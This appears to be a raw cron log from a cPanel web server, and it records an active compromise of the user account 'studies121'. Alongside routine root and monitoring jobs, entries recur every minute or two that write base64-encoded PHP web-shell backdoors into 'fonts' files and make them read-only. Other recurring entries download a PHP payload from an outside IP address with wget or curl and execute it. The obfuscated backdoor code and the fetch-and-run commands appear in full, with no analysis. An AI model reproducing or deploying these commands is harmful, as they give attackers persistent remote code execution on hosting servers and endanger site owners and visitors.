Sep 22 19:58:01 ip-184-168-122-23 CROND[15310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:58:01 ip-184-168-122-23 CROND[15313]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 19:58:01 ip-184-168-122-23 CROND[15312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:58:01 ip-184-168-122-23 CROND[15311]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:59:01 ip-184-168-122-23 CROND[17026]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 19:59:01 ip-184-168-122-23 CROND[17027]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 19:59:01 ip-184-168-122-23 CROND[17028]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 19:59:01 ip-184-168-122-23 CROND[17030]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:00:01 ip-184-168-122-23 CROND[18431]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 20:00:01 ip-184-168-122-23 CROND[18434]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 22 20:00:01 ip-184-168-122-23 CROND[18435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:00:01 ip-184-168-122-23 CROND[18437]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 20:00:01 ip-184-168-122-23 CROND[18439]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 20:00:01 ip-184-168-122-23 CROND[18438]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:00:01 ip-184-168-122-23 CROND[18440]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:00:01 ip-184-168-122-23 CROND[18441]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:00:01 ip-184-168-122-23 CROND[18442]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 20:01:01 ip-184-168-122-23 CROND[19407]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:01:01 ip-184-168-122-23 CROND[19408]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:01:01 ip-184-168-122-23 CROND[19409]: (root) CMD (run-parts /etc/cron.hourly)
Sep 22 20:01:01 ip-184-168-122-23 CROND[19412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:01:01 ip-184-168-122-23 CROND[19418]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:01:01 ip-184-168-122-23 CROND[19416]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 20:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[19409]: starting 0anacron
Sep 22 20:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[19428]: finished 0anacron
Sep 22 20:02:01 ip-184-168-122-23 CROND[20127]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:02:01 ip-184-168-122-23 CROND[20130]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 20:02:01 ip-184-168-122-23 CROND[20129]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:02:01 ip-184-168-122-23 CROND[20132]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:02:01 ip-184-168-122-23 CROND[20131]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:03:01 ip-184-168-122-23 CROND[20852]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:03:01 ip-184-168-122-23 CROND[20854]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:03:01 ip-184-168-122-23 CROND[20853]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:03:01 ip-184-168-122-23 CROND[20855]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:04:01 ip-184-168-122-23 CROND[21559]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:04:01 ip-184-168-122-23 CROND[21561]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 20:04:01 ip-184-168-122-23 CROND[21563]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:04:01 ip-184-168-122-23 CROND[21564]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:04:01 ip-184-168-122-23 CROND[21566]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:05:01 ip-184-168-122-23 CROND[22390]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 20:05:01 ip-184-168-122-23 CROND[22391]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 20:05:02 ip-184-168-122-23 CROND[22395]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 20:05:02 ip-184-168-122-23 CROND[22398]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:05:02 ip-184-168-122-23 CROND[22397]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:05:02 ip-184-168-122-23 CROND[22399]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:05:02 ip-184-168-122-23 CROND[22400]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:06:01 ip-184-168-122-23 CROND[23097]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 20:06:01 ip-184-168-122-23 CROND[23098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:06:01 ip-184-168-122-23 CROND[23101]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:06:01 ip-184-168-122-23 CROND[23102]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:06:01 ip-184-168-122-23 CROND[23104]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:07:01 ip-184-168-122-23 CROND[23464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:07:01 ip-184-168-122-23 CROND[23463]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:07:01 ip-184-168-122-23 CROND[23467]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:07:01 ip-184-168-122-23 CROND[23468]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:08:01 ip-184-168-122-23 CROND[23727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:08:01 ip-184-168-122-23 CROND[23730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:08:01 ip-184-168-122-23 CROND[23731]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 20:08:01 ip-184-168-122-23 CROND[23734]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:08:01 ip-184-168-122-23 CROND[23738]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:09:01 ip-184-168-122-23 CROND[23919]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 20:09:01 ip-184-168-122-23 CROND[23920]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 22 20:09:01 ip-184-168-122-23 CROND[23921]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 20:09:01 ip-184-168-122-23 CROND[23925]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 20:09:01 ip-184-168-122-23 CROND[23924]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 20:10:01 ip-184-168-122-23 CROND[24156]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 20:10:02 ip-184-168-122-23 CROND[24165]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
